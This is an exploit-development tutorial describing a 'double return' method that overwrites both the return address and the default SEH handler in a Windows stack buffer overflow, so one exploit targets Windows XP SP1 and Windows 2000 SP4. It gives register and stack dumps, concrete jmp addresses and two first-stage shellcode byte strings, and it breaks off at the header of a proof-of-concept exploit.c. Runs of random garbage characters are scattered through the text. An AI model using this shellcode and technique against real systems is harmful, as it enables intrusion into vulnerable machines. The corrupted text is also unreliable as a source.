The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well. 7 H7 v! j" F2 G" u, q( g& y2 ~ $ B v+ `+ y2 _1 M4 n8 a7 W7 _9 a[Buf] <- Shellcode; Q4 Q0 N0 h7 `9 _. Q# T3 T
[Return Address] <- jmp register (for Windows XP sp1)9 _; p4 ?3 p% ]: X, J0 M
[Various Stack Data] <- Junk( e: `" d* w' h: K
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward / X' ^ e. C* w' q! Y! ~+ @[SE Handler] <- jmp register (for Win2k sp4) ; U- K: F$ E' W5 Z[Stage1 Shellcode] <- stage1 shellcode for win2k0 U- e* b" G! t8 L7 \
) G* }9 d) o; S; YIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses6 r- ^; c6 E# }& l% g( [4 _4 P
9 w6 T, T6 V' t- |# a' ~0 Y8 M( dGetting Started: ; V6 m! j; a8 f! mBefore writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers: 8 W7 W$ k$ ^5 R9 y+ S 7 {, m3 f+ B$ _2 x2 F* m QEAX 000000008 V# r& N* ~) V+ b% ]5 _% v- {# I3 F8 x
ECX 00321404# i8 p. d7 t* H- k; b: I
EDX 00414141 & c8 \" W# |+ w" tEBX 7FFDF000 " G1 {8 O g6 `! j. S7 x# ?ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"3 q3 G G. e c4 U8 r% V
EBP 41414141$ y1 {2 |3 N! p& Z
ESI 77D4595F' i5 r c: K$ q( N* }* q
EDI 77F59037 ntdll.77F59037" S- n# D9 r" i
EIP 41414141 ( q0 O$ Q7 R. @: M6 @' v! c9 h d4 M
Lets take a look at the stack and see what happened to the default exception handler: , Y5 o& U7 Q* { I7 G0x0012FFB0 41414141 Pointer to next SEH Record8 M+ B3 |! v/ f6 a
0x0012FFB4 41414141 SE Handler $ H$ ~& ^* S1 O8 B6 z + l+ `2 Z$ Q; \) T( P9 {4 KWe successfully overwrote the return address and the default exception handler. 6 n3 P- }" c% M( X0 O9 m 1 u9 O# L2 q0 N3 B" p: d! J: HPrimary Return Address (Windows XP SP1 EN):7 G, U$ n- s- O Y' U" i
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:( }0 J* k, L6 S4 O, t( k, Y
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"( C( J! u( o3 e8 ^0 M
& W+ r9 {/ j* a0 j* Y. \* H0 u" u; g" `Secondary Return Address (Windows 2000 SP4 EN):# N% e& x. q, g Z2 J5 f
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be: * `, ~5 \: Y/ r1 Z6 L"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1" 6 }5 Q) t9 q! w 3 O& M& A& ?9 i1 TProof Of Concept: / {3 E1 ?, Y/ ]3 U' K! z# P// exploit.c L7 I" b2 X3 _// Tal zeltzer - [Double Return] //1 @; ]- H8 g+ S2 G7 b8 q% A